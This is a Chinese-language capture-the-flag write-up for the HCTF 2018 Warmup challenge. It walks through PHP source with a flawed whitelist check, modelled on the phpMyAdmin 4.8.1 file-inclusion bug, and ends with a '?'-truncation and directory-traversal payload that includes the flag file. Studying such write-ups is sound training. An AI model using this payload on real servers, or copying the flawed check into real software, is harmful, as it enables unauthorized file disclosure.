[原題復現]HCTF 2018 Warmup(文件包含)


HCTF 2018 Warmup

原題復現:https://gitee.com/xiaohua1998/hctf_2018_warmup

考察知識點:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)

線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用協會內部的CTF訓練平台找到此題

過程

訪問頁面查看源碼發現注釋里面的內容訪問它

訪問獲得index.php的源碼

payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=source.php
 1  <?php
 2     highlight_file(__FILE__);
 3     class emmm
 4     {
 5         public static function checkFile(&$page)
 6         {
 7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
 8             if (! isset($page) || !is_string($page)) {
 9                 echo "you can't see it";
10                 return false;
11             }
12 
13             if (in_array($page, $whitelist)) {
14                 return true;
15             }
16 
17             $_page = mb_substr(
18                 $page,
19                 0,
20                 mb_strpos($page . '?', '?')
21             );
22             if (in_array($_page, $whitelist)) {
23                 return true;
24             }
25 
26             $_page = urldecode($page);
27             $_page = mb_substr(
28                 $_page,
29                 0,
30                 mb_strpos($_page . '?', '?')
31             );
32             if (in_array($_page, $whitelist)) {
33                 return true;
34             }
35             echo "you can't see it";
36             return false;
37         }
38     }
39 
40     if (! empty($_REQUEST['file'])
41         && is_string($_REQUEST['file'])
42         && emmm::checkFile($_REQUEST['file'])
43     ) {
44         include $_REQUEST['file'];
45         exit;
46     } else {
47         echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
48     }  
49 ?> 
View Code

 

 

PHP邏輯運算符

&&邏輯與

||邏輯或運算符


!empty($_REQUEST['file'])
要我們的file變量不為空我們先進行分析這段代碼 首先看80行第一個要求

is_string($_REQUEST['file'])要求我們傳進來的值是字符串類型

emmm::checkFile($_REQUEST['file'])這里將我們的的值傳到emmm類里面的checkFile函數

這三個值通過&&邏輯與運算符連接也就是要求這塊函數的返回值要全為真才能執行if里面的文件包含的代碼 否則就執行else里面的圖片代碼

 先來熟悉幾個函數

//mb_strpos():返回要查找的字符串在別一個字符串中首次出現的位置
// mb_strpos (haystack ,needle )
// haystack:要被檢查的字符串。
// needle:要搜索的字符串

//mb_substr() 函數返回字符串的一部分。

//str 必需。從該 string 中提取子字符串。
//start 必需。規定在字符串的何處開始。
//ength 可選。規定要返回的字符串長度。默認是直到字符串的結尾。

emmm類分析

從代碼中發現新的頁面hint訪問獲得flag文件名

payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php

 

 

 

總的來說這個cehckFile這個函數進行了 3次白名單檢測、 2次問好過濾、一次URL解碼

 1   class emmm
 2     {
 3         public static function checkFile(&$page)
 4 
 5         {
 6             //白名單列表
 7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
 8             //isset()判斷變量是否聲明is_string()判斷變量是否是字符串 &&用了邏輯與兩個值都為真才執行if里面的值
 9             if (! isset($page) || !is_string($page)) {
10                 echo "you can't see it A";
11                 return false;
12             }
13             //檢測傳進來的值是否匹配白名單列表$whitelist 如果有則執行真
14             if (in_array($page, $whitelist)) {
15                 return true;
16             }
17             //過濾問號的函數(如果$page的值有?則從?之前提取字符串)
18             $_page = mb_substr(
19                 $page,
20                 0,
21                 mb_strpos($page . '?', '?')//返回$page.?里賣弄?號出現的第一個位置
22             );
23 
24              //第二次檢測傳進來的值是否匹配白名單列表$whitelist 如果有則執行真
25             if (in_array($_page, $whitelist)) {
26                 return true;
27             }
28             //url對$page解碼
29             $_page = urldecode($page);
30 
31             //第二次過濾問號的函數(如果$page的值有?則從?之前提取字符串)
32             $_page = mb_substr(
33                 $_page,
34                 0,
35                 mb_strpos($_page . '?', '?')
36             );
37             //第三次檢測傳進來的值是否匹配白名單列表$whitelist 如果有則執行真
38             if (in_array($_page, $whitelist)) {
39                 return true;
40             }
41             echo "you can't see it";
42             return false;
43         }
44     }

 

 我們現在可以構造獲取flag的語句

hint.php?../../../../../ffffllllaaaagggg 我們可以想象他傳入checkFile函數要經歷 第一次白名單驗證 一次?過濾后他就是hint.php 再進行一次白名單驗證 返回為真 則達成條件進行包含得到flag

 

最終payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg 

 

 
        

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM